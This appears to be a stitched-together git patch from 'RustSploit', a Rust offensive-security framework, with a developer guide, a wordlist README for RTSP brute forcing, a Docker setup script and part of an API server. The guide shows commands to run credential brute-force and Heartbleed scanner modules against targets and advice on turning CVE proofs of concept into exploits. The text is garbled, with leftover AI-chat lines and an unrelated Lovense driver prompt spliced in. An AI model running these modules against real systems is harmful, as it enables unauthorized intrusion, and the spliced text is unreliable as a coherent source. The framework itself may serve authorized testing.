2. **Build:** `cargo check` ensures new modules compile.
|
||||
3. **Runtime smoke tests:**
|
||||
- Shell: `cargo run` → `modules` → run a harmless module (e.g., `scanners/sample_scanner`).
|
||||
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
|
||||
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
|
||||
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
|
||||
|
||||
Then:
|
||||
|
||||
```
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> use scanners/heartbleed_scanner
|
||||
rsf> set target 192.168.0.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
Maintains internal state:
|
||||
- `current_module`
|
||||
- `current_target`
|
||||
- `proxy_list`
|
||||
- `proxy_enabled`
|
||||
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
|
||||
|
||||
---
|
||||
|
||||
## 🔁 Proxy Retry Logic (Shell Only)
|
||||
## Roadmap & Ideas
|
||||
|
||||
Proxy logic only applies in shell mode (`rsf>`).
|
||||
- Interactive shell improvements (history, tab completion, colored banners)
|
||||
- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
|
||||
- Credential module templates (derive-style macros for common prompts)
|
||||
- Integration with external wordlists (dynamic download or git submodules)
|
||||
- Session logging (`tee` support) and output JSON export for pipeline ingestion
|
||||
- Transport abstractions for UDP/DoS modules
|
||||
|
||||
### Flow:
|
||||
|
||||
1. User types `run`
|
||||
2. Shell checks:
|
||||
- Module is selected?
|
||||
- Target is set?
|
||||
- Proxy enabled?
|
||||
Contributions are welcome—open an issue or start a discussion before large refactors.
|
||||
|
||||
---
|
||||
|
||||
### Case 1: Proxy ON, Proxies LOADED
|
||||
|
||||
- Create `HashSet<String>` → `tried_proxies`
|
||||
- Loop:
|
||||
- Pick random untried proxy
|
||||
- Set `ALL_PROXY` using:
|
||||
```rust
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
```
|
||||
- Call `commands::run_module(...)`
|
||||
- On success: stop
|
||||
- On error: mark proxy as failed, try another
|
||||
|
||||
- If all proxies fail:
|
||||
- Clear proxy env:
|
||||
```rust
|
||||
env::remove_var("ALL_PROXY");
|
||||
```
|
||||
- Try once directly
|
||||
|
||||
---
|
||||
|
||||
### Case 2: Proxy ON, No Proxies Loaded
|
||||
|
||||
- Show warning
|
||||
- Clear `ALL_PROXY`
|
||||
- Run once directly
|
||||
|
||||
---
|
||||
|
||||
### Case 3: Proxy OFF
|
||||
|
||||
- Clear proxy vars
|
||||
- Run module once
|
||||
|
||||
---
|
||||
|
||||
### Summary Flow:
|
||||
|
||||
```
|
||||
If proxy_enabled:
|
||||
while untried proxies:
|
||||
pick → set env → run → if fail → mark tried
|
||||
if none work → clear env → try direct
|
||||
else:
|
||||
clear env → try direct
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧪 Module Execution Flow
|
||||
|
||||
Whether via CLI or shell:
|
||||
|
||||
1. `commands::run_module(...)`
|
||||
2. Determines type: `exploit`, `scanner`, or `cred`
|
||||
3. Calls correct dispatcher
|
||||
4. Dispatcher calls `run(target).await`
|
||||
5. Output shown to user
|
||||
|
||||
---
|
||||
|
||||
## 🛑 Error Handling
|
||||
|
||||
- All modules must return `anyhow::Result<()>`
|
||||
- Errors are caught and shown cleanly in CLI or shell
|
||||
|
||||
---
|
||||
|
||||
## ⚡ Async Features
|
||||
|
||||
- Entire framework is powered by `tokio`
|
||||
- All I/O modules are `async`
|
||||
- Use `tokio::spawn`, `FuturesUnordered`, etc. for concurrency
|
||||
|
||||
---
|
||||
|
||||
## 📡 Making Requests
|
||||
|
||||
Use `reqwest`:
|
||||
|
||||
```rust
|
||||
let resp = reqwest::get(&url).await?.text().await?;
|
||||
```
|
||||
|
||||
Or with client:
|
||||
|
||||
```rust
|
||||
let client = reqwest::Client::new();
|
||||
let resp = client.post(&url).json(&data).send().await?;
|
||||
```
|
||||
|
||||
✅ All requests respect `ALL_PROXY`
|
||||
|
||||
---
|
||||
|
||||
## 🧪 Example Use Cases
|
||||
|
||||
### CLI
|
||||
|
||||
```bash
|
||||
cargo run -- --command creds --module ftp_weak_login --target 192.168.1.100
|
||||
```
|
||||
|
||||
### Shell
|
||||
|
||||
```bash
|
||||
rsf> use creds/ftp_weak_login
|
||||
rsf> set target 192.168.1.100
|
||||
rsf> run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧼 Shell Reset
|
||||
|
||||
No session data persists. When restarted, shell forgets all settings — no saved targets or modules (by design).
|
||||
|
||||
---
|
||||
|
||||
## 🔐 Adapting CVEs
|
||||
|
||||
To build a real-world exploit:
|
||||
- Convert PoC to async Rust logic
|
||||
- Validate by checking known response headers/content
|
||||
- Place it in the right folder and wire `run()`
|
||||
|
||||
TCP/UDP logic:
|
||||
|
||||
```rust
|
||||
use tokio::net::{TcpStream, UdpSocket};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 💡 Feature Roadmap
|
||||
|
||||
add more exploits etc
|
||||
|
||||
---
|
||||
|
||||
## 👥 Contributors
|
||||
|
||||
- **Main Developer**: me.
|
||||
- **Language**: 100% Rust.
|
||||
- **Inspired by**: RouterSploit, Metasploit, pwntools.
|
||||
|
||||
|
||||
Would you like this exported as a `DEVELOPER_GUIDE.md` file now? I can generate it for you in exact GitHub-flavored markdown.
|
||||
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch
|
||||
|
||||
@@ -61,10 +61,6 @@ Here is the original module that needs to be refactored:
|
||||
|
||||
|
||||
|
||||
|
||||
gemini
|
||||
|
||||
You are a senior Rust developer specializing in cross-platform, asynchronous hardware drivers. Your assignment is to develop a complete, production-grade Lovense device driver for Linux, written in Rust, using only information from official Lovense documentation and protocol references.
|
||||
|
||||
Strict Requirements:
|
||||
|
||||
|
||||
+33
-1
@@ -1 +1,33 @@
|
||||
just lists like word lists
|
||||
# 📚 Rustsploit Data Files
|
||||
|
||||
This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage.
|
||||
|
||||
---
|
||||
|
||||
## Available Files
|
||||
|
||||
| File | Used By | Description |
|
||||
|------|---------|-------------|
|
||||
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
|
||||
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables “advanced headers,” the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
|
||||
|
||||
---
|
||||
|
||||
## Contributing Lists
|
||||
|
||||
1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms.
|
||||
2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them.
|
||||
3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents.
|
||||
4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users.
|
||||
5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution.
|
||||
|
||||
---
|
||||
|
||||
## Ideas for Future Lists
|
||||
|
||||
- `ftp-default-creds.txt` for anonymous login checks
|
||||
- `telnet-banners.txt` to fingerprint devices before brute forcing
|
||||
- `http-admin-panels.txt` for web interface discovery scanners
|
||||
- Vendor-specific RTSP or ONVIF endpoint lists
|
||||
|
||||
Pull requests welcome—please include both the data file and an entry here. !*** End Patch
|
||||
|
||||
@@ -0,0 +1,327 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Interactive generator for RustSploit Docker-Compose stack.
|
||||
Produces:
|
||||
docker-compose.rustsploit.yml (with embedded Dockerfile)
|
||||
.env.rustsploit-docker
|
||||
and prints the command to bring the stack up.
|
||||
|
||||
This variant includes runtime fixes to avoid permission-denied on /app/data
|
||||
and ensures the container starts as root briefly to fix ownership, then
|
||||
executes the rustsploit binary as the less-privileged `rustsploit` user.
|
||||
"""
|
||||
import secrets
|
||||
import os
|
||||
import stat
|
||||
import socket
|
||||
import ipaddress
|
||||
import subprocess
|
||||
import pwd
|
||||
from pathlib import Path
|
||||
|
||||
# Fix: Use parent.parent since script is in scripts/ directory
|
||||
repo = Path(__file__).resolve().parent.parent
|
||||
if not (repo / "Cargo.toml").exists():
|
||||
print("[-] Error: Run this script from the RustSploit repository root.")
|
||||
print(f" Expected Cargo.toml at: {repo / 'Cargo.toml'}")
|
||||
exit(1)
|
||||
|
||||
# ---------- Helper functions ----------
|
||||
def ask(prompt, default=None, validator=None):
|
||||
"""Interactive prompt with validation."""
|
||||
suffix = f" [{default}]" if default is not None else ""
|
||||
while True:
|
||||
val = input(f"{prompt}{suffix}: ").strip()
|
||||
if not val and default is not None:
|
||||
val = default
|
||||
if not val:
|
||||
print("Value cannot be empty.")
|
||||
continue
|
||||
if validator:
|
||||
try:
|
||||
validator(val)
|
||||
except ValueError as e:
|
||||
print(f"Invalid input: {e}")
|
||||
continue
|
||||
return val
|
||||
|
||||
|
||||
def ask_yes_no(prompt, default=True):
|
||||
"""Yes/No prompt."""
|
||||
hint = "Y/n" if default else "y/N"
|
||||
while True:
|
||||
val = input(f"{prompt} ({hint}): ").strip().lower()
|
||||
if not val:
|
||||
return default
|
||||
if val in ("y", "yes"):
|
||||
return True
|
||||
if val in ("n", "no"):
|
||||
return False
|
||||
print("Please answer 'y' or 'n'.")
|
||||
|
||||
|
||||
def validate_host(host):
|
||||
"""Validate host/IP address."""
|
||||
host = host.strip()
|
||||
if not host:
|
||||
raise ValueError("Host cannot be empty")
|
||||
# Allow localhost
|
||||
if host == "localhost":
|
||||
return
|
||||
# Try to parse as IP
|
||||
try:
|
||||
ipaddress.ip_address(host)
|
||||
except ValueError:
|
||||
# Not a valid IP, check if it's a valid hostname
|
||||
if len(host) > 253:
|
||||
raise ValueError("Hostname too long (max 253 chars)")
|
||||
if any(c.isspace() for c in host):
|
||||
raise ValueError("Hostname cannot contain whitespace")
|
||||
|
||||
|
||||
def validate_port(port_str):
|
||||
"""Validate port number."""
|
||||
try:
|
||||
port = int(port_str)
|
||||
if not (1 <= port <= 65535):
|
||||
raise ValueError("Port must be between 1 and 65535")
|
||||
except ValueError as e:
|
||||
if "invalid literal" in str(e):
|
||||
raise ValueError("Port must be a number")
|
||||
raise
|
||||
|
||||
|
||||
def detect_private_ip():
|
||||
"""Try to detect private IP address."""
|
||||
try:
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
|
||||
sock.connect(("192.0.2.1", 80))
|
||||
return sock.getsockname()[0]
|
||||
except OSError:
|
||||
return None
|
||||
|
||||
# ---------- Interactive prompts ----------
|
||||
print("\n[+] RustSploit Docker Setup\n")
|
||||
|
||||
# Host selection
|
||||
print("Select bind address:")
|
||||
print(" [1] 127.0.0.1 (localhost only)")
|
||||
print(" [2] 0.0.0.0 (all interfaces)")
|
||||
print(" [3] Private LAN IP (auto-detect)")
|
||||
print(" [4] Custom IP/hostname")
|
||||
|
||||
choice = ask("Choice", "2")
|
||||
if choice == "1":
|
||||
host = "127.0.0.1"
|
||||
elif choice == "2":
|
||||
host = "0.0.0.0"
|
||||
elif choice == "3":
|
||||
detected = detect_private_ip()
|
||||
if detected:
|
||||
print(f"[+] Detected private IP: {detected}")
|
||||
use_detected = ask_yes_no("Use detected IP?", True)
|
||||
host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
|
||||
else:
|
||||
print("[-] Could not auto-detect private IP")
|
||||
host = ask("Enter IP/hostname", validator=validate_host)
|
||||
else:
|
||||
host = ask("Enter IP/hostname", validator=validate_host)
|
||||
|
||||
# Port
|
||||
# Default changed to 9000 as this is a common API port and matches user's prior usage
|
||||
port_str = ask("Host port to expose", "9000", validator=validate_port)
|
||||
port = int(port_str)
|
||||
|
||||
# API Key
|
||||
print("\n[+] API Key Configuration")
|
||||
generate_key = ask_yes_no("Generate random API key?", True)
|
||||
if generate_key:
|
||||
api_key = secrets.token_urlsafe(32)
|
||||
print(f"[+] Generated API key: {api_key}")
|
||||
else:
|
||||
api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
|
||||
|
||||
# Hardening
|
||||
print("\n[+] Security Hardening")
|
||||
harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
|
||||
ip_limit = 10
|
||||
if harden:
|
||||
ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
|
||||
ip_limit = int(ip_limit_str)
|
||||
|
||||
# ---------- File generation ----------
|
||||
env_file = ".env.rustsploit-docker"
|
||||
compose_file = "docker-compose.rustsploit.yml"
|
||||
|
||||
env_path = repo / env_file
|
||||
compose_path = repo / compose_file
|
||||
|
||||
# Check for existing .env file
|
||||
if env_path.exists():
|
||||
print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
|
||||
if not ask_yes_no("Overwrite .env file?", False):
|
||||
print("[-] Aborted.")
|
||||
exit(0)
|
||||
|
||||
# Check for existing docker-compose file
|
||||
if compose_path.exists():
|
||||
print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
|
||||
if not ask_yes_no("Overwrite docker-compose file?", False):
|
||||
print("[-] Aborted.")
|
||||
exit(0)
|
||||
|
||||
# ---- .env ----
|
||||
container_interface = f"0.0.0.0:{port}"
|
||||
env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
|
||||
RUSTSPLOIT_API_KEY={api_key}
|
||||
RUSTSPLOIT_HARDEN={"true" if harden else "false"}
|
||||
RUSTSPLOIT_IP_LIMIT={ip_limit}
|
||||
"""
|
||||
env_path.write_text(env_content)
|
||||
# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
|
||||
os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
|
||||
print(f"\n[+] Generated: {env_path}")
|
||||
|
||||
# Fix ownership if file was created with sudo (owned by root)
|
||||
if env_path.stat().st_uid == 0:
|
||||
print("[!] File was created as root. Fixing ownership...")
|
||||
try:
|
||||
# Get the actual user (SUDO_USER if running via sudo, otherwise current user)
|
||||
user = os.environ.get('SUDO_USER') or os.environ.get('USER')
|
||||
if not user:
|
||||
user = pwd.getpwuid(os.getuid()).pw_name
|
||||
|
||||
# If we're running as root (via sudo), we can chown directly
|
||||
if os.geteuid() == 0:
|
||||
user_info = pwd.getpwnam(user)
|
||||
os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
|
||||
print(f"[+] Ownership fixed: {user}:{user}")
|
||||
else:
|
||||
# Not root, need to use sudo
|
||||
subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
|
||||
print(f"[+] Ownership fixed: {user}:{user}")
|
||||
except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
|
||||
print(f"[!] Warning: Could not automatically fix ownership: {e}")
|
||||
print(f" Please run manually: sudo chown $USER:$USER {env_path}")
|
||||
|
||||
# ---- docker-compose.yml with embedded Dockerfile ----
|
||||
# Note: The serve stage runs the entrypoint as root so it can fix ownership of
|
||||
# /app/data at container startup, then it drops privileges and executes the
|
||||
# rustsploit binary as the less-privileged `rustsploit` user via runuser.
|
||||
|
||||
dockerfile_content = """FROM rust:1.83-slim AS builder
|
||||
WORKDIR /workspace
|
||||
ENV CARGO_TERM_COLOR=always
|
||||
|
||||
RUN apt-get update \\
|
||||
&& apt-get install -y --no-install-recommends \\
|
||||
build-essential \\
|
||||
pkg-config \\
|
||||
libssl-dev \\
|
||||
libclang-dev \\
|
||||
libpcap-dev \\
|
||||
libsqlite3-dev \\
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY Cargo.toml ./
|
||||
COPY Cargo.lock* ./
|
||||
|
||||
COPY . .
|
||||
RUN cargo build --release --bin rustsploit
|
||||
|
||||
FROM debian:bookworm-slim AS serve
|
||||
RUN apt-get update \\
|
||||
&& apt-get install -y --no-install-recommends ca-certificates util-linux \\
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# create non-root user
|
||||
RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
|
||||
WORKDIR /app
|
||||
|
||||
# create data dir (image-level), but runtime entrypoint will chown the volume target
|
||||
RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
|
||||
|
||||
COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
|
||||
|
||||
# entrypoint runs as root (default) so it can fix ownership of mounted volumes
|
||||
RUN echo '#!/bin/sh' > /entrypoint.sh && \\
|
||||
echo 'set -e' >> /entrypoint.sh && \\
|
||||
echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
|
||||
echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
|
||||
echo ' ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
|
||||
echo ' if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
|
||||
echo ' ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
|
||||
echo ' fi' >> /entrypoint.sh && \\
|
||||
echo 'fi' >> /entrypoint.sh && \\
|
||||
# ensure data dir exists and is owned by rustsploit so that non-root process can write
|
||||
echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
|
||||
echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
|
||||
echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
|
||||
echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
|
||||
echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
|
||||
echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
|
||||
echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
|
||||
# finally, execute rustsploit as the rustsploit user using runuser
|
||||
echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
|
||||
chmod +x /entrypoint.sh && \\
|
||||
chown root:root /entrypoint.sh && \\
|
||||
chown root:root /usr/local/bin/rustsploit
|
||||
|
||||
# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
|
||||
EXPOSE 8080
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
"""
|
||||
|
||||
# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
|
||||
dockerfile_path = repo / "Dockerfile.rustsploit"
|
||||
dockerfile_path.write_text(dockerfile_content)
|
||||
print(f"[+] Generated: {dockerfile_path}")
|
||||
|
||||
# Generate docker-compose.yml
|
||||
compose_content = f"""# Generated by {Path(__file__).name}
|
||||
services:
|
||||
rustsploit-api:
|
||||
container_name: rustsploit-api
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile.rustsploit
|
||||
target: serve
|
||||
restart: unless-stopped
|
||||
env_file:
|
||||
- {env_file}
|
||||
ports:
|
||||
- "{host}:{port}:{port}"
|
||||
security_opt:
|
||||
- no-new-privileges:true
|
||||
tmpfs:
|
||||
- /tmp
|
||||
volumes:
|
||||
- rustsploit-data:/app/data
|
||||
|
||||
volumes:
|
||||
rustsploit-data:
|
||||
name: rustsploit-data
|
||||
"""
|
||||
|
||||
compose_path.write_text(compose_content)
|
||||
print(f"[+] Generated: {compose_path}")
|
||||
|
||||
print("\n[+] Setup complete!")
|
||||
print("\n[+] Generated files:")
|
||||
print(f" - {env_path.relative_to(repo)}")
|
||||
print(f" - {compose_path.relative_to(repo)}")
|
||||
print(f" - {dockerfile_path.relative_to(repo)}")
|
||||
print(f"\n[!] Note: Run docker compose commands from the repository root:")
|
||||
print(f" cd {repo}")
|
||||
print("\n[+] To start the stack, run:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} up -d --build")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} up -d --build")
|
||||
print("\n[+] To view logs:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} logs -f")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} logs -f")
|
||||
print("\n[+] To stop the stack:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} down")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} down")
|
||||
+724
@@ -0,0 +1,724 @@
|
||||
use anyhow::{Context, Result};
|
||||
use axum::{
|
||||
extract::{ConnectInfo, Request, State},
|
||||
http::{HeaderMap, StatusCode},
|
||||
middleware::Next,
|
||||
response::{IntoResponse, Response},
|
||||
routing::{get, post},
|
||||
Json, Router,
|
||||
};
|
||||
use std::net::SocketAddr;
|
||||
use chrono::{DateTime, Utc};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
path::PathBuf,
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
fs::OpenOptions,
|
||||
io::AsyncWriteExt,
|
||||
sync::RwLock,
|
||||
};
|
||||
use tower::ServiceBuilder;
|
||||
use tower_http::trace::TraceLayer;
|
||||
use uuid::Uuid;
|
||||
|
||||
use crate::commands;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct ApiKey {
|
||||
pub key: String,
|
||||
pub created_at: DateTime<Utc>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, Serialize)]
|
||||
pub struct IpTracker {
|
||||
pub ip: String,
|
||||
pub first_seen: DateTime<Utc>,
|
||||
pub last_seen: DateTime<Utc>,
|
||||
pub request_count: u32,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, Serialize)]
|
||||
pub struct AuthFailureTracker {
|
||||
pub ip: String,
|
||||
pub failed_attempts: u32,
|
||||
pub first_failure: DateTime<Utc>,
|
||||
pub blocked_until: Option<DateTime<Utc>>,
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct ApiState {
|
||||
pub current_key: Arc<RwLock<ApiKey>>,
|
||||
pub ip_tracker: Arc<RwLock<HashMap<String, IpTracker>>>,
|
||||
pub auth_failures: Arc<RwLock<HashMap<String, AuthFailureTracker>>>,
|
||||
pub harden_enabled: bool,
|
||||
pub ip_limit: u32,
|
||||
pub log_file: PathBuf,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub struct ApiResponse {
|
||||
pub success: bool,
|
||||
pub message: String,
|
||||
pub data: Option<serde_json::Value>,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub struct RunModuleRequest {
|
||||
pub module: String,
|
||||
pub target: String,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub struct ListModulesResponse {
|
||||
pub exploits: Vec<String>,
|
||||
pub scanners: Vec<String>,
|
||||
pub creds: Vec<String>,
|
||||
}
|
||||
|
||||
// ----------------------
|
||||
// Validation utilities
|
||||
// ----------------------
|
||||
fn sanitize_for_log(input: &str) -> String {
|
||||
let mut s = input.replace(['\r', '\n', '\t'], " ");
|
||||
if s.len() > 500 {
|
||||
s.truncate(500);
|
||||
s.push_str("…");
|
||||
}
|
||||
s
|
||||
}
|
||||
|
||||
fn is_printable_ascii(s: &str) -> bool {
|
||||
s.chars().all(|c| c.is_ascii_graphic() || c == ' ' || c == '/' || c == ':' || c == '.')
|
||||
}
|
||||
|
||||
fn validate_api_key_format(key: &str) -> bool {
|
||||
!key.is_empty() && key.len() <= 128 && key.chars().all(|c| c.is_ascii_graphic())
|
||||
}
|
||||
|
||||
fn validate_module_name(module: &str) -> bool {
|
||||
// Allow only expected module path forms, e.g., "exploits/x", "scanners/y", "creds/z"
|
||||
if module.is_empty() || module.len() > 200 { return false; }
|
||||
if !module.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '/' || c == '_' || c == '-') {
|
||||
return false;
|
||||
}
|
||||
let parts: Vec<&str> = module.split('/').collect();
|
||||
if parts.len() < 2 { return false; }
|
||||
matches!(parts[0], "exploits" | "scanners" | "creds")
|
||||
}
|
||||
|
||||
fn validate_target(target: &str) -> bool {
|
||||
if target.is_empty() || target.len() > 2048 { return false; }
|
||||
if !is_printable_ascii(target) { return false; }
|
||||
// Basic sanity: avoid spaces at ends and double CRLF injections
|
||||
let trimmed = target.trim();
|
||||
trimmed == target && !target.contains("\r\n\r\n")
|
||||
}
|
||||
|
||||
impl ApiState {
|
||||
pub fn new(initial_key: String, harden: bool, ip_limit: u32) -> Self {
|
||||
let log_file = std::env::current_dir()
|
||||
.unwrap_or_else(|_| PathBuf::from("."))
|
||||
.join("rustsploit_api.log");
|
||||
|
||||
Self {
|
||||
current_key: Arc::new(RwLock::new(ApiKey {
|
||||
key: initial_key,
|
||||
created_at: Utc::now(),
|
||||
})),
|
||||
ip_tracker: Arc::new(RwLock::new(HashMap::new())),
|
||||
auth_failures: Arc::new(RwLock::new(HashMap::new())),
|
||||
harden_enabled: harden,
|
||||
ip_limit,
|
||||
log_file,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn rotate_key(&self) -> Result<String> {
|
||||
let new_key = Uuid::new_v4().to_string();
|
||||
let mut key_guard = self.current_key.write().await;
|
||||
key_guard.key = new_key.clone();
|
||||
key_guard.created_at = Utc::now();
|
||||
drop(key_guard);
|
||||
|
||||
// Clear IP tracker on rotation
|
||||
let mut tracker_guard = self.ip_tracker.write().await;
|
||||
tracker_guard.clear();
|
||||
drop(tracker_guard);
|
||||
|
||||
self.log_message(&format!(
|
||||
"[SECURITY] API key rotated at {}",
|
||||
Utc::now().format("%Y-%m-%d %H:%M:%S UTC")
|
||||
))
|
||||
.await?;
|
||||
|
||||
Ok(new_key)
|
||||
}
|
||||
|
||||
pub async fn track_ip(&self, ip: &str) -> Result<bool> {
|
||||
if !self.harden_enabled {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
let mut tracker_guard = self.ip_tracker.write().await;
|
||||
let now = Utc::now();
|
||||
|
||||
if let Some(tracker) = tracker_guard.get_mut(ip) {
|
||||
// Update existing tracker - use all fields
|
||||
tracker.last_seen = now;
|
||||
tracker.request_count += 1;
|
||||
|
||||
// Log detailed tracking info using first_seen
|
||||
let duration = now.signed_duration_since(tracker.first_seen);
|
||||
let _ = self.log_message(&format!(
|
||||
"[TRACKING] IP {}: {} requests since {} ({} seconds ago)",
|
||||
tracker.ip,
|
||||
tracker.request_count,
|
||||
tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC"),
|
||||
duration.num_seconds()
|
||||
)).await;
|
||||
} else {
|
||||
// Create new tracker - all fields are set and will be used
|
||||
let new_tracker = IpTracker {
|
||||
ip: ip.to_string(),
|
||||
first_seen: now,
|
||||
last_seen: now,
|
||||
request_count: 1,
|
||||
};
|
||||
|
||||
// Log new IP using all fields
|
||||
let _ = self.log_message(&format!(
|
||||
"[TRACKING] New IP detected: {} (first seen: {})",
|
||||
new_tracker.ip,
|
||||
new_tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC")
|
||||
)).await;
|
||||
|
||||
tracker_guard.insert(ip.to_string(), new_tracker);
|
||||
}
|
||||
|
||||
let unique_ips = tracker_guard.len() as u32;
|
||||
drop(tracker_guard);
|
||||
|
||||
if unique_ips > self.ip_limit {
|
||||
let new_key = self.rotate_key().await?;
|
||||
self.log_message(&format!(
|
||||
"[HARDENING] Auto-rotated API key due to {} unique IPs exceeding limit of {}. New key: {}",
|
||||
unique_ips, self.ip_limit, new_key
|
||||
))
|
||||
.await?;
|
||||
println!(
|
||||
"⚠️ [HARDENING] API key auto-rotated! {} unique IPs exceeded limit of {}",
|
||||
unique_ips, self.ip_limit
|
||||
);
|
||||
println!("⚠️ New API key: {}", new_key);
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
pub async fn log_message(&self, message: &str) -> Result<()> {
|
||||
let timestamp = Utc::now().format("%Y-%m-%d %H:%M:%S UTC");
|
||||
let safe = sanitize_for_log(message);
|
||||
let log_entry = format!("[{}] {}\n", timestamp, safe);
|
||||
|
||||
// Log to terminal
|
||||
println!("{}", log_entry.trim());
|
||||
|
||||
// Log to file
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&self.log_file)
|
||||
.await
|
||||
.context("Failed to open log file")?;
|
||||
|
||||
file.write_all(log_entry.as_bytes())
|
||||
.await
|
||||
.context("Failed to write to log file")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn verify_key(&self, provided_key: &str) -> bool {
|
||||
let key_guard = self.current_key.read().await;
|
||||
key_guard.key == provided_key
|
||||
}
|
||||
|
||||
pub async fn check_auth_rate_limit(&self, ip: &str) -> Result<bool> {
|
||||
let mut failures_guard = self.auth_failures.write().await;
|
||||
let now = Utc::now();
|
||||
|
||||
if let Some(tracker) = failures_guard.get_mut(ip) {
|
||||
// Check if IP is currently blocked
|
||||
if let Some(blocked_until) = tracker.blocked_until {
|
||||
if now < blocked_until {
|
||||
let remaining = (blocked_until - now).num_seconds();
|
||||
self.log_message(&format!(
|
||||
"[RATE_LIMIT] IP {} is blocked for {} more seconds ({} failed attempts)",
|
||||
ip, remaining, tracker.failed_attempts
|
||||
))
|
||||
